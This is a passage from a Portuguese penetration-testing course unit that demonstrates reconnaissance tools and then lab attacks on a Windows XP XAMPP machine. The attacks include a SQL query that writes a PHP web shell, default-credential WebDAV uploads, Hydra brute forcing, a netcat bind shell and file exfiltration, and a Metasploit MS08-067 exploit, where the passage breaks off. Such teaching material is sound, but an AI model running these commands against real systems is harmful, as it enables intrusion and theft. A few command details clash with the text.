Baixe o app para aproveitar ainda mais
Prévia do material em texto
68 Unidade III Unidade III 5 FERRAMENTAS UTILIZADAS Nesta unidade, vamos demonstrar as ferramentas que uma equipe de testes pode usar para executar as atividades de teste de invasão. O objetivo é destacar os aspectos técnicos, ilustrar as ferramentas simples de levantamento de informações e mostrar a realização de uma exploração em um ambiente de teste. Atualmente, existem muitas ferramentas disponíveis que servem de apoio e que fazem atividades de forma automatizada. Conhecer a fundo poucas ferramentas e realizar atividades sabendo cada detalhe de sua execução vale mais do que ter uma série de recursos e não saber exatamente como usá-los com inteligência. Muitos programas foram criados por profissionais que estavam resolvendo algum problema importante em determinado momento. Contudo, a tecnologia muda o tempo todo e os motivos que levaram à criação de scripts/programas podem não ser os mesmos do profissional que os executa hoje. A má execução de uma rotina de testes pode colocar em risco o projeto e os profissionais que estão realizando os testes. 5.1 Maltego É uma poderosa ferramenta disponível no Kali Linux para automatização da tarefa de coleta de informações. Possui uma série de rotinas automatizadas e traz, de forma gráfica, vários dados relevantes. Para ser ainda mais útil, essa ferramenta pode se conectar com outros sistemas pagos. • No canto superior direito da tela inicial do Kali Linux, digite “Maltego” na busca e aguarde seu início. • Então, será aberta uma ferramenta gráfica. Selecione a versão Maltego CE (Free). • Marque a caixa Accept e prossiga com Next. • Cadastre um e-mail e uma senha em Register here e siga os passos para realizar o cadastro. • Após a criação do cadastro, insira seus dados na ferramenta e clique em Next. • Siga os passos clicando em Next e mantenha a privacidade em Stealth para mais segurança em suas buscas. • Clique em Finish. • Com um projeto novo em branco, selecione Domain na paleta de objetos à esquerda e arraste-o para o meio da tela em branco. 69 PARECERES E TESTES DE INVASÃO Figura 45 – Execução Maltego: tela 1 • Clique no objeto criado, depois clique com o botão esquerdo do mouse e acione as duas setas à direita de All Transforms. Figura 46 – Execução Maltego: tela 2 Nesse momento, a ferramenta vai buscar informações relevantes e exibi-las em formas de objetos na tela. Cada um desses objetos poderá ser explorado da mesma forma, trazendo mais entidades relacionadas a essa organização. 70 Unidade III Figura 47 – Site paterva.com O site da paterva.com possui objetos de DNS, serviços de FTP para transferência de arquivos, e os dados estão hospedados em JacksonVille, EUA, com IP 104.200.18.205. Para cada uma dessas entidades, é possível pesquisar métodos de invasão. 5.2 Google Hacking/Google Dorking Para demonstrar como iniciar a busca de informações sobre um determinado alvo, o Google é uma exímia ferramenta. Esse portal de busca faz parte da segunda e da terceira etapa da fase de coleta de informações. Utilizando as expressões corretas, são obtidas informações relevantes. A busca pode ser iniciada de forma simples, por exemplo, digitando: “nome da organização”, “organização endereço”. Conforme os resultados forem apresentados, novas linhas de buscas surgirão. Quando esse conteúdo preliminar estiver concluído, poderemos refinar com os filtros do Google. A técnica é chamada de Google Dorking ou Google Hacking. Na barra de busca, podemos digitar alguns filtros: 71 PARECERES E TESTES DE INVASÃO Quadro 9 Site Busca em um site específico Intitle Busca no título da página Inurl Busca de termos presentes nas URLs Intext Busca por texto no conteúdo do site Filetype Busca por tipos de arquivos Esses campos podem ser combinados para melhorar ainda mais os resultados. Por exemplo, se digitarmos “site:organizacao.com.br filetype:pdf”, serão apresentados todos os documentos em PDF que o site organizacao.com.br tem publicado em sua estrutura. Para procurar páginas de contato de uma empresa, pode-se pesquisar “inurl:contato site:organizacao.com.br”. Já os formulários de acesso a conteúdos restritos podem ser encontrados pela expressão: “inurl:login site:organizacao. com.br”. Ao mapear páginas de login, os pontos de entrada de dados começam a ser identificados. Caso essa entrada de dados não seja tratada corretamente, a aplicação poderá permitir o acesso indevido de pessoas não autorizadas, a extração de informações do banco de dados e a injeção de arquivos maliciosos no sistema. Conforme a equipe de testes for encontrando informações sobre a empresa, será possível refinar as próprias buscas com mais informações. 5.3 Whois Para encontrar informações sobre o registro do domínio da organização (onde está hospedada), usamos os repositórios de Whois. O Kali Linux possui uma ferramenta de mesmo nome “whois”, que varre os registros regionais de domínios e apresenta os registros. Para usar esse aplicativo com a máquina virtual ligada e logada, faça o seguinte: • Clique no ícone azul no canto superior esquerdo e, depois, em “Emulador de terminal”. Figura 48 – Varredura Whois 72 Unidade III • Com o terminal aberto, digite “whois google.com.br” A resposta será: domain: google.com.br owner: Google Brasil Internet Ltda owner-c: DOADM17 admin-c: DOADM17 tech-c: DOADM17 billing-c: NAB51 nserver: ns1.google.com nsstat: 20200727 AA nslastaa: 20200727 nserver: ns2.google.com nsstat: 20200727 AA nslastaa: 20200727 nserver: ns3.google.com nsstat: 20200727 AA nslastaa: 20200727 nserver: ns4.google.com nsstat: 20200727 AA nslastaa: 20200727 created: 19990518 #162310 changed: 20200417 expires: 20210518 status: published nic-hdl-br: DOADM17 person: Domain Admin created: 20100520 73 PARECERES E TESTES DE INVASÃO changed: 20180324 nic-hdl-br: NAB51 person: NameAction do Brasil created: 20020619 changed: 20181011 As informações serão demonstradas na tela como: responsável (owner); endereços de DNS (nserver); onde o domínio está registrado (nic-hdl-br); e quando o site foi criado (created). Não há um padrão de respostas para o registro de domínios, cada DNS de topo (TLD) possui seu banco de dados, onde são armazenados os registros. Caso a ferramenta Whois não traga informações suficientes, pode-se buscar nos sites oficiais a seguir: Quadro 10 – Exemplos de filtros ICANN http://www.icann.org IANA http://www.iana.com NRO http://www.nro.net/ AFRINIC http://www.afrinic.net/ APNIC http://www.apnic.net/ ARIN http://ws.arin.net/ LACNIC http://www.lacnic.net/ RIPE http://www.ripe.net/ Destaca-se que não é incomum serem apresentados os dados de contato do usuário registrado, como e-mail e, eventualmente, telefone. Essas informações podem ser usadas para um ataque de engenharia social. Com os endereços de DNS em mãos, podemos localizar onde a página oficial da organização está hospedada. É possível pesquisar com o comando Whois: endereços de IP versões 4 e 6 e domínios, assim como utilizar a ferramenta geoiplookup para consultar a geolocalização dos IP encontrados. 5.4 Dig É um programa importante na fase de levantamento de informações a respeito do alvo. Com ele, pode-se obter o IP correspondente a um domínio. • Abra o terminal. • Digite “dig uol.com.br” 74 Unidade III Figura 49 – Varredura Whois: tela 1 Note que na seção de resposta o IP correspondente ao domínio uol.com.br é 200.147.3.157. Esse comando também poderá ser usado para fazer busca em um DNS específico: • Digite “dig @8.8.8.8 uol.com.br” (8.8.8.8 é o DNS mantido pelo Google) e pressione Enter. Nesse caso, a resposta será a mesma. Contudo, caso haja comprometimento de um DNS, este pode ter de responder propositalmente para outro IP, mudando a rota da conexão. A alteração de DNS pode ser feita para direcionar o acesso a uma página web de phishing, para direcionar o tráfego de informações sensíveis para outro destino. Para listar os servidores de e-mail, use a opção MX. • Digite “dig MXunip.br” e pressione Enter. Figura 50 – Varredura Whois: tela 2 Com essa resposta, nota-se que o servidor de e-mails associado ao domínio unip.br é mail.unip.br 75 PARECERES E TESTES DE INVASÃO 6 FERRAMENTAS ESPECÍFICAS 6.1 Nmap O programa Nmap possui sua versão tanto para sistemas Linux quanto para versão Windows, tendo também sua versão gráfica. Ferramenta poderosa, pode trazer dados importantes na fase de levantamento de informações. Sendo possível, varre blocos de IP para descobrir equipamentos na rede, testa portas abertas dos equipamentos encontrados, verifica qual o status desses serviços (ativos ou não) e detecta características de hardware. Ao usar essa ferramenta, é preciso ponderar os sistemas de proteção da organização-alvo. Como se trata de um software amplamente divulgado, já foram desenvolvidas proteções que podem inibir sua ação. Observação Em alguns países, o escaneamento de portas é uma atividade ilegal. Portanto, ao escolher um alvo, a equipe de testes deve tomar as medidas necessárias para não infringir a lei. • Abra o terminal e digite “sudo service apache2 start” e pressione Enter. O serviço de servidor web será ativado. • No terminal, digite “sudo ifconfig” para visualizar o IP de sua máquina na rede. Figura 51 – Visualizando IPs: tela 1 • Nesse caso, o IP é 192.168.1.169 • Digite “nmap 192.168.1.169 -A” Figura 52 – Visualizando IPs: tela 2 76 Unidade III Foi encontrada a porta 80 com tráfego de dados tcp. A porta está aberta, assim observa-se o software que estamos usando (servidor web Apache) e sua versão – 2.4.43 (debian). Considerando esses dados, podemos concluir que há um equipamento Linux na rede com a porta 80 aberta escutando dados através do protocolo http; o programa usado para essa finalidade é o Apache, com sua versão instalada. Pensando em um teste de invasão, podemos procurar vulnerabilidades em equipamentos Linux e em servidores web com essa versão. • Para fazer um scan de um range de IPs de 192.168.1.1 até 192.168.1.255, digite “nmap 192.168.1.1-255” e pressione Enter. Figura 53 – Visualizando IPs: tela 2 Nesse caso, vemos dois equipamentos: 192.168.1.1, com as portas 22, 53, 80 e 1900 abertas; e a própria máquina virtual demonstrada anteriormente. Saiba mais Conheça mais opções de uso do Nmap em análise de vulnerabilidades: ANÁLISE de vulnerabilidade com NMAP. 2020. 1 vídeo (8:23). Publicado por Hacker Security. Disponível em: https://www.youtube.com/ watch?v=KtAjZRT6MMc. Acesso em: 22 out. 2020. 77 PARECERES E TESTES DE INVASÃO 6.2 DIRB A ferramenta DIRB é um reconhecimento de aplicações web para descobrir diretórios/arquivos existentes que não estão visíveis, a não ser que sejam acessados diretamente. Em essência, a ferramenta testa diversas variações de combinações contidas em um arquivo (dicionário) e tenta o acesso em todas as suas possibilidades, varrendo o ambiente. Conforme forem usando essa ferramenta, as equipes de testes poderão incrementar o dicionário para buscar caminhos específicos ou criar seu próprio dicionário. Essa ferramenta envia tráfego direto para o servidor-alvo, portanto, pode ser possível detectar essa atividade assim como bloqueá-la. • Em seu terminal, digite “sudo service apache2 start” e pressione Enter. • Digite “http://127.0.0.1”. Esse endereço indica a nossa própria máquina virtual, que já possui um servidor web sendo executado. Figura 54 – Visualizando IPs: tela 3 Nesse primeiro trecho da resposta, vemos o arquivo index.html e a pasta /javascript/ sendo encontrados. Essa varredura pode encontrar arquivos de configurações, portais de manutenção não configurados corretamente e partes do servidor onde estão listadas outras pastas. Uma opção importante desse comando é de alteração de User-Agent. Os navegadores, quando fazem as requisições para o servidor nos pacotes http/https, se identificam através do campo User-Agent. Isso ocorre em razão da compatibilidade de navegadores e sistemas operacionais com os códigos-fonte de cada página. Para melhorar a experiência do usuário ou limitar o uso de uma aplicação, um aplicativo web pode somente funcionar em navegadores mobile. Ao usar essa opção com o comando DIRB, conseguimos contornar esse bloqueio. 78 Unidade III Com a máquina virtual Windows XP ligada, faça o seguinte: • Localize e execute na área de trabalho o programa XAMPP Control Panel. • Em seguida, confira se o servidor web, o banco de dados e os arquivos estão funcionando, conforme a imagem a seguir: Figura 55 – Funcionamento XAMPP Control Panel • Caso não estejam, clique em Start. A ferramenta XAMPP é um software livre que empacota uma instalação de uma série de programas amplamente usados para manter servidores web funcionando. No passado, a configuração de um programa de web server Apache com um banco de dados Mysql, interpretador de linguagem PHP, levava muito esforço e tempo. Para facilitar esse processo, foi criado o pacote para instalação e com as ferramentas pré-configuradas. O risco de instalar pacotes assim é justamente o problema com as vulnerabilidades. Como é um pacote amplamente difundido, uma vez que é encontrada uma vulnerabilidade, todos os sistemas que consumiram essa mesma fonte terão o mesmo problema. Usaremos a ferramenta DIRB também nesse servidor web: • Digite “dirb http://192.168.1.113/ -v > dirb.txt” e pressione Enter. Isso é feito para executar o comando e gravar sua resposta em um arquivo, facilitando a visualização e a consulta posterior. A opção -v é correspondente a verbose, ou seja, possui resultados com o maior nível de detalhe. 79 PARECERES E TESTES DE INVASÃO • Digite “mousepad dirb.txt” para abrir o arquivo na interface gráfica do editor de texto. Figura 56 – Interface gráfica do editor de texto Note que há uma série de testes realizados em diversas pastas. Assim, os códigos mostrados em (CODE: 404|size: 1163) indicam o código de retorno HTTP da página e o tamanho dela. Quanto maior a quantidade de bytes, maior será a probabilidade de o seu conteúdo ser relevante, mas isso não é uma regra. Segundo Moreno (2017), podemos classificar os códigos http por: • 1xx: respostas de informação. • 2xx: comunicação recebida, processada e devolvida. • 3xx: redirecionamento de conexão. • 4xx: erro de solicitação. • 5xx: erro no serviço web. Serão listados a seguir os principais códigos de retorno para saber o que procurar em um resultado como esse: 80 Unidade III Quadro 11 Status Significado 200 Ok. Requisição bem-sucedida 301 Movida permanentemente 403 Acesso proibido 404 Não encontrado Para filtrar esse resultado do DIRB, vamos usar o comando grep: • Digite “grep CODE:200 dirb.txt > 200.txt” e pressione Enter. Vamos filtrar os resultados bem-sucedidos e gravar em outro arquivo para que sejam analisados. • Para ver o resultado, digite “cat 200.txt” e pressione Enter. Figura 57 – Resultado cat200.txt Nesse instante, serão demonstrados somente resultados que deram sucesso, e assim poderemos ver as páginas encontradas. É possível navegar com o browser Firefox até cada uma delas e ver seu conteúdo e, partir dessas páginas, fazer mais ações. Nessa versão do XAMPP, temos algumas vulnerabilidades a serem exploradas. A ferramenta phpMyAdmin é um gerenciador de banco de dados baseado em PHP. PHP é uma linguagem de programação baseada em linguagem C usada para processar comandos no servidor. A arquitetura de cliente-servidor com páginas web ocorrede acordo com a forma a seguir: Servidor Cliente Solicita index.php Processa a parte back-end (PHP) Responde a página processada (HTML) Figura 58 – Exemplo de programação PHP para servidores 81 PARECERES E TESTES DE INVASÃO Portanto o PHP funciona no contexto de software dentro do servidor, dando comandos diretamente na máquina. Para fazer o gerenciamento do banco de dados MySQL, pode-se utilizar o terminal de comandos do MySQL. Contudo, para facilitar a ação de desenvolvedores de aplicações, o phpMyAdmin possui uma interfacegráfica para interação com o banco de dados, mesmo que não sejam conhecidos os comandos de SQL para gerenciar a base. Inicialmente, não havia controle de acesso nesse console, ou seja, qualquer pessoa que fizesse a página veria seu conteúdo. • Em sua máquina Linux, digite: “firefox http://192.168.1.113/phpmyadmin/index.php” e pressione Enter. Figura 59 – Exemplo PHP MyAdim: tela 1 Note que temos acesso à administração da base de dados. A linguagem SQL possui uma base comum para comandos em banco de dados. Os comandos básicos de requisição de informações são comuns a todos os servidores, como MySQL, Microsoft SQL, Oracle, MariaDB entre tantos outros disponíveis. O que faz a diferença entre cada um dos bancos, em termos de comandos, é a administração da base. • No menu superior, clique na aba SQL. Figura 60 – Exemplo PHP MyAdim: tela 2 82 Unidade III • No campo para digitar a query, digite “show processlist;”. Todo comando SQL deve ser finalizado com “;” para confirmar o fim do comando. • Serão listados os usuários logados nesse banco de dados. Figura 61 – Exemplo PHP MyAdim: tela 3 Aqui podemos ver o usuário pma e outro usuário root. O último comando é uma query e a informação sobre isso é “show processlist”. Isso nos indica que estamos logados como root, ou seja, somos administradores da base de dados, podemos fazer praticamente tudo o que um usuário pode fazer nesse banco de dados. Um comprometimento desse nível já é bastante crítico: pode-se listar tabelas, ter acesso aos dados armazenados, criar outros usuários, alterar dados e até remover tabelas e bases inteiras. Conhecendo mais sobre o banco de dados MySQL e PHP, pode-se fazer uma tentativa de comprometer a máquina que está hospedando o serviço. • Clique novamente na aba SQL e digite no campo: select “<?php system($_GET[‘cmd’]); ?>” into outfile “C:\\xampp\\htdocs\\shell.php” Nesse comando, são usadas várias situações diferentes, e a invasão de sistemas envolve a montagem de um quebra-cabeça. Por meio desse comando, instruímos o banco de dados a selecionar (select) o primeiro campo entre aspas ““<?php system($_GET[‘cmd’]); ?>”. Esse campo possui o conteúdo de uma página PHP, a qual indica que se deve executar os dados que vierem na variável $_GET[‘cmd’] em um terminal (seja CMD, seja terminal do Linux). Essa variável, por sua vez, é carregada sempre do parâmetro enviado na barra de navegação, e isso significa que os comandos digitados na barra de navegação irão direto para um terminal. As tags “<?php” e “?>” são para início e fim de um comando PHP, respectivamente. Seguindo no comando, temos “into outfile” para gravar em um arquivo (esse primeiro campo que já informamos) e depois gravar em “C:\\xampp\\htdocs\\shell.php”. Logo, estamos criando dentro do servidor um arquivo na pasta xamp/htdocs/ chamado shell.php, o qual irá executar comandos diretamente no terminal através do navegador. 83 PARECERES E TESTES DE INVASÃO Para ver isso funcionando, digite no navegador: • “https://192.168.1.113/shell.php?cmd=dir” O arquivo que criamos terá o parâmetro “cmd” e o valor “dir”. Figura 62 – Exemplo de comando em PHP MySQL: tela 1 Estudando comandos do Windows, podemos mostrar arquivos presentes. • Digite “http://192.168.1.113/shell?cmd dir c:\”Documents and Settings” Figura 63 – Exemplo de comando em PHP MySQL: tela 2 Nessa pasta, estamos listando os usuários presentes na máquina e podemos navegar em suas pastas. • Digite “http://192.168.1.113/shell?cmd dir c:\”Documents and Settings”\Administrador\Desktop\” Figura 64 – Exemplo de comando em PHP MySQL: tela 3 84 Unidade III O conteúdo não está exposto de uma forma de fácil leitura, mesmo porque nenhuma dessas ferramentas foi construída para essa finalidade, mas podemos ver uma pasta chamada “textos”; vamos acessá-la e mostrar seus arquivos: • Digite “http://192.168.1.113/shell?cmd=dir c:\”Documents and Settings”\Administrador\ Desktop\textos\” Figura 65 – Exemplo de comando em PHP MySQL: tela 4 • Há vários arquivos .doc para apresentarmos seu conteúdo. Os arquivos foram fixados propositadamente nesse laboratório para demonstrar a exibição de ativos privados através da exploração. • Digite: “http://192.168.1.113/shell.php?cmd=type c:\”Documents and Settings”\Administrador\ Desktop\textos\”texto suspeito.doc” Figura 66 – Arquivo inserido Demonstramos como ler arquivos internos de forma remota através de um navegador web. Vulnerabilidades em servidores web são comuns devido à grande expansão da internet. 6.3 Cadaver Outro aspecto importante para observar nas pastas encontradas pelo DIRB é a presença da pasta WebDav. Essa pasta faz referência a um gerenciador instalado e usado para administrar arquivos dentro do servidor, porém a configuração padrão desse aplicativo é conhecida através do login wampp e senha 85 PARECERES E TESTES DE INVASÃO xampp. Com a ferramenta Cadaver no Linux, vamos tentar usar essa configuração padrão para a tentativa de uma exploração. No terminal do Linux, digite: • “cadaver http://192.168.1.113/webdav” e pressione Enter. Figura 67 – Exemplo de aplicação Cadaver: tela 1 Usando as credenciais pré-configuradas, conseguimos acesso para a realização de uploads de arquivos. Isso poderia ter sido feito para enviar o arquivo anterior (shell.php) e, posteriormente, fazer a exploração. Vamos mostrar informações do servidor web através de uma página criada no Linux e enviada via WebDav. Para criar o arquivo em outro terminal, digite: • “echo “<?php phpinfo();?>” > info.php” e pressione Enter. • Para mostrar seu conteúdo, digite “cat info.php” Figura 68 – Exemplo de aplicação Cadaver: tela 2 Volte ao terminal anterior e envie o arquivo para o servidor web: • Digite “put info.php” e pressione Enter. Figura 69 – Exemplo de aplicação Cadaver: tela 3 86 Unidade III Para conferir o arquivo enviado, digite: • “firefox http://192.168.1.113/webdav/info.php” Figura 70 – Exemplo PHP Info phpinfo é uma função do PHP presente até nas versões mais novas. Ela imprime um relatório de todos os módulos e configurações instalados no servidor, assim pode-se obter mais uma série de informações para exploração. 6.4 Crunch e Hydra Ataques de força bruta sempre existiram e até hoje podem ser usados contra sistemas. Por mais simples que seja resolvê-los, o seu uso ainda traz resultados, por isso ainda é bastante aplicado. Ataques de força bruta são tentativas incessantes de conseguir um determinado objetivo. Por exemplo, imagine uma aplicação na qual precisamos de login e senha para autenticar; se pudéssemos testar todas as possibilidades de login e de senhas, mesmo não sabendo quais são, em algum momento teríamos êxito. Na fase de obtenção de informações, caso a equipe de testes tenha capturado alguns endereços de e-mails corporativos e encontrado uma página de login e senha, seria possível usar essas contas de e-mail com uma lista de possíveis senhas até que uma garanta acesso a essa área restrita. Uma forma simples de impedir ataques de força bruta é limitar a quantidade de tentativas de login, reduzindo o número de requisições por tempo determinado ou até bloqueando o acesso a um login de origem desconhecida. Embora suas correções sejam simples, existem sistemas desatualizados ou que não suportam diretamente esse tipo de configuração, ficando expostos a uma forma de exploração. Para exemplificar esses ataques, vamos configurar um usuário em nossa máquina Windows XP: • Abra o XAMPP Control Panel na área de trabalho e clique em Admin ao lado de FileZilla. Figura 71 – Configuração de usuário XAMPP: tela 1 87 PARECERES E TESTES DE INVASÃO • Clique em “Edit” e depois em “Users”. Figura 72 – Configuração de Usuário XAMPP: tela 2 • Clique em Add, adicione o usuário admin e depois aperte OK. Figura 73 – Configuração de Usuário XAMPP: tela 3 • Clique na caixa password e crie uma senha de quatro dígitos, como 1324 ou outra que preferir. • No menu superior esquerdo, selecione Shared folderse depois clique em Add. Figura 74 – Configuração de usuário XAMPP: tela 4 88 Unidade III • Clique no + ao lado de Disco local > xampp > htdocs Figura 75 – Configuração de usuário XAMPP: tela 5 • Aperte OK. • Clique na pasta e selecione Set as home dir. • Aperte OK. Figura 76 – Configuração de usuário XAMPP: tela 6 Nesse passo a passo, criamos um usuário admin no servidor FTP usado para inserir, atualizar e remover arquivos do servidor web. Para fazer um ataque de força bruta, é preciso criar um arquivo de 89 PARECERES E TESTES DE INVASÃO possíveis usuários e uma lista de possíveis senhas. Assim, o software vai pegar todos os logins e todas as senhas e fazer o teste de conexão, e, ao final do teste, será demonstrado o resultado. Caso não se tenha um dicionário pronto, é possível criar um através do crunch. Em seu terminal Linux, digite: • “crunch 4 4 1234567890 –o senhas.txt” Nessa etapa, estamos criando uma lista com linhas contendo quatro caracteres, com as possibilidades de 0 a 9 e com a opção -o de output para gravar em um arquivo senhas.txt. Para gerar, por exemplo, um arquivo de senhas de cinco caracteres, com letras, números e caracteres especiais, usaríamos “crunch 7 7 mixalpha-numeric-all-space -o senhas.txt” e seriam necessários 804 MB em um arquivo texto. Por essa razão, ao gerar senhas, é interessante criar senhas longas, com caracteres especiais, mas que sejam simples de recordar. Ataques de dicionários de dados requerem um grande poder computacional, tanto para armazenar todas as possibilidades quanto para gerenciar arquivos grandes. Para demonstrar o conteúdo gerado pelo arquivo, digite: • “cat senhas.txt” e pressione Enter. Vamos gerar um arquivo com três logins. Para o teste, digite os três comandos a seguir e para cada um pressione Enter: • echo “admin” > login.txt Para ver o conteúdo do arquivo criado, digite: • “cat login.txt” Figura 77 – Lista XAMPP: tela 1 Como já foram criados os dois arquivos necessários para realizar o ataque, usaremos o Hydra para executar as ações. Em seu terminal, digite: • “hydra -L login.txt -P senhas.txt 192.138.1.113 ftp” e pressione Enter. 90 Unidade III É possível ver as requisições em tempo real através do FileZilla aberto. São várias tentativas de login sendo feitas automaticamente. Figura 78 – Lista XAMPP: tela 2 Ao término de sua execução, a resposta será apresentada na tela: Figura 79 – Lista de captura XAMPP Grifado em verde, observa-se o seguinte: login: admin e password: 1234. Para testar a conexão, digite no terminal: • “ftp” e pressione Enter. • Em seguida, digite “open” e o IP de destino “open 192.168.1.113” • Agora digite o login “admin” e pressione Enter. • Será solicitada a senha; depois, digite “1234” e pressione Enter. 91 PARECERES E TESTES DE INVASÃO Agora estamos conectados via FTP no servidor de destino. Para listar as pastas, digite “ls” e pressione Enter. Figura 80 – Lista de captura XAMPP Exploramos o ataque de força bruta usando um dicionário de dados e nos conectamos ao serviço. Ao ver as requisições feitas no FileZilla presente no Windows XP, fica claro que é um ataque tecnicamente simples, que é fácil de se detectar pela quantidade de requisições que estão sendo feitas. Contudo, em um sistema que não está prevendo esse tipo de situação, esse ataque poderá ser efetivo. Saiba mais Para encontrar mais listas geradas, consulte a referência a seguir: https://packetstormsecurity.com/ 6.5 NetCat Ferramenta muito útil em testes de invasão, permite verificar se uma porta lógica está aberta e até a conexão a um equipamento que tenha uma porta aberta. Pode ser usada na fase de obtenção de informações, exploração e pós-exploração, quando o atacante já tiver controle sobre a máquina de destino. • Abra seu terminal, digite “sudo service apache2 start” e pressione Enter. • Digite “nc -v 192.168.1.169 80”. Nesse comando, estamos chamando o programa NetCat (nc). Para tal, usamos a opção verbose (-v) para demonstrar os resultados completos, o número do IP 92 Unidade III de destino (192.168.1.169) e, em seguida, a porta de destino (80) que nosso servidor web Apache abre para receber as conexões. Figura 81 – Exemplo de localização de porta aberta • Nota-se que a porta 80 está aberta para conexões. • Podemos conectar dois hosts diferentes com NetCat: digite “sudo nc -lvp 1010”. • Abra outro terminal e digite “nc 192.168.1.169 1010” para se conectar a esse IP (192.168.1.169) e à porta (1010) já aberta anteriormente. • Uma vez conectado, digite “Teste”. Figura 82 – Testando a porta aberta • Em um terminal, deixamos o NetCat escutando a porta 1010 no IP da máquina e, em outro, o conectamos a essa porta aberta para enviar mensagens. Isso pode muito bem ser feito entre máquinas diferentes, em uma máquina a ser comprometida ou ser executado para a fase de pós-exploração, para dar comandos remotamente a essa máquina. • Para encerrar aplicações no terminal que estão ativas, aperte Ctrl + C. 93 PARECERES E TESTES DE INVASÃO Observação Esse é um comando de escape e deve ser usado com cuidado. Ao interromper aplicações durante sua execução, poderão ser gerados erros que não possam ser revertidos facilmente. • Ao finalizar a execução no terminal que se conectou, ambos serão encerrados: tanto a instância que estava ouvindo as conexões como os terminais que estavam se conectando à porta. • No terminal que estava sendo usado para abrir a porta, digite: “sudo nc -lvp 1010 -e /bin/bash” e pressione Enter. Ao acionar esse comando, abrimos a porta 1010 de novo e apontamos os comandos diretamente para um terminal local, ou seja, os comandos realizados por quem se conectar serão executados diretamente no terminal da máquina que está escutando conexão. • No terminal que estava sendo usado para se conectar, digite novamente “sudo nc 192.168.1.169 1010” e pressione Enter. • Agora digite “ls -l” para listar as pastas onde esse terminal foi aberto. Figura 83 – Lista de pastas • Note que, através desse processo de conexão remota, as informações não mudam de cor como em um terminal local, mas mantêm a mesma função. Ao ter domínio sobre um equipamento, pode-se abrir um terminal para ser usado remotamente e executar comandos. 94 Unidade III • Também é possível fazer a transferência de arquivos, sendo útil na fase de pós-exploração. No terminal que usamos para escutar, digite no primeiro terminal: “sudo nc -lvp 1010 >imagem”. • No segundo terminal que vamos fazer a conexão, digite “cd Imagens” para entrar na pasta de imagens, aperte a tecla correspondente de print screen em seu teclado e selecione Tela inteira. Figura 84 – Copiando a tela • Clique em OK. • Para salvar, clique em OK novamente. Figura 85 – Salvando a tela • Renomeie para imagem.png para facilitar a escrita no terminal e clique em Salvar. • Digite “ls” para ver o arquivo gerado “imagem.png” 95 PARECERES E TESTES DE INVASÃO • Para transferir o arquivo, digite “nc 192.168.1.169 1010 /home/kali/Imagens/imagem.png” e pressione Enter. • Para encerrar a conexão, aperte Ctrl + C. • No primeiro terminal que recebeu o arquivo, digite “ls” para listar os arquivos da pasta. Figura 86 – Lista de arquivos e pastas • Visualize a imagem digitando no primeiro terminal “firefox imagem”. • Será aberto o navegador web Firefox com a imagem passada pelo NetCat na tela. • Esse comando permite a extração de arquivos das máquinas-alvo, transferindo ativos críticos para um equipamento externo. Observação Existem ativos protegidos por lei que não podem ser revelados mesmo com o consentimento da organização, trata-se de um direito do dono do dado. 6.6 Metasploit Para demonstrar a fase de exploração, utilizaremos o Metasploit. Trata-se de um conjunto de ferramentas capazes de realizar explorações em sistemas vulneráveis e trazer para o atacante uma forma simplificada de executar a pós-exploração. Referência em suas funcionalidades, desde 2003 o Metasploit é mantido pela empresaRapid7 e ainda possui versões de código livre, para que a comunidade crie funcionalidades novas. 96 Unidade III O Metasploit é composto de módulos, assim, para cada nova vulnerabilidade descoberta, pode-se criar um módulo e distribuí-lo para todos os clientes espalhados, o que facilita muito a atividade de teste de invasão. Um exploit nada mais é do que um conjunto de instruções que exploram a vulnerabilidade existente em um sistema; é o pedaço de código que consegue fazer a passagem do ambiente externo para o ambiente interno do equipamento. Lembrete O comando man usado no terminal traz o manual de instruções de um programa. O objetivo dessa demonstração é explorar o cenário no qual a equipe de testes encontrou uma máquina Windows XP SP3. O teste está na fase de exploração, e efetivar o ataque faz parte do teste. Além disso, descobriu-se que o boletim MS08-067 da Microsoft descreve uma vulnerabilidade que permite a execução remota de comandos nessas máquinas. Cabe ao time de testes de invasão verificar se essa vulnerabilidade poderá ser explorada na organização. Vamos iniciar o Metasploit com os passos a seguir: • Em sua máquina virtual Linux, no terminal digite “sudo service postgresql start” e pressione Enter. Assim será iniciado o banco de dados para uso da aplicação. • Digite “sudo msfconsole” e pressione Enter. Figura 87 – Iniciando banco de dados sudo • Para buscar módulos que exploram a vulnerabilidade apontada, digite “search ms08-067” e pressione Enter. Observe que foi apresentado um módulo já preparado para essa vulnerabilidade. 97 PARECERES E TESTES DE INVASÃO • Para usar o módulo, digite “use exploit/Windows/smb/ms08_067_netapi” Figura 88 – Pontos de vulnerabilidade • Para demonstrar as opções e as configurações necessárias para o uso desse módulo, digite “show options” e pressione Enter. Figura 89 – Selecionado as opções As opções desse pacote de exploração são os campos RHOST, RPORT e SMBPIPE. Esses campos fazem referência, respectivamente, ao equipamento-alvo, à porta lógica que será usada e ao processo do sistema operacional que iremos interagir. Referenciaremos a máquina XP já criada com seu número de IP. • Para configurar essa opção, digite ”set RHOST 192.168.1.113” e pressione Enter. Figura 90 – Configurando • A configuração de RPORT para esse pacote já está carregada para a porta 445, portanto, não precisamos fazer a alteração. Em alguns casos, essa opção não vem pré-configurada e será necessário configurá-la com “set RPORT 445”. • Não faremos comunicação direta com os processos específicos. Assim, a opção SMBPIPE também poderá ser deixada com o valor BROWSER, que já vem carregado como padrão. • Digite “show targets” e pressione Enter. Aparecerão várias opções de alvos para ataque, e é preciso escolher o alvo correto, inclusive com o idioma adequado. 98 Unidade III Figura 91 – Possíveis alvos de ataque • Nesse módulo, podemos deixar a escolha do alvo de forma automática, mas é possível também escolher a opção que mais se adéqua ao alvo que vamos atacar. • Digite “show payloads” e pressione Enter para configurar no Metasploit qual ação deverá ser tomada após a exploração. Conseguir explorar uma vulnerabilidade é um passo importante, e os passos seguintes podem ser os mais diversos. Os payloads são um conjunto de instruções que fazem uma série de ações em aplicações que nem sempre estavam programadas para acontecer. No caso do Metasploit, os payloads já estão criados automaticamente ou é possível criá-los de forma personalizada. Essa vulnerabilidade promove algumas ações, por exemplo, fazer com que a máquina-alvo abra uma porta e escute comandos remotamente, como fizemos anteriormente com NetCat, criar um usuário novo ou formatar todos os discos. Nesse ambiente, os payloads facilitam a exploração e já disponibilizam ao usuário da ferramenta um conversor chamado meterpreter. Trata-se de uma ferramenta para dar comandos na máquina explorada de forma simples, pois, dependendo da complexidade da vulnerabilidade, montar payloads para cada instrução dada remotamente tornará o processo mais trabalhoso e extenso. Para demonstrar a ação, podemos deixar no modo padrão, mas é possível avaliar cada um desses payloads disponíveis. 99 PARECERES E TESTES DE INVASÃO • Digite “exploit” e pressione Enter. Figura 92 – Exploração dos alvos: tela 1 • Para ver os comandos que podem ser 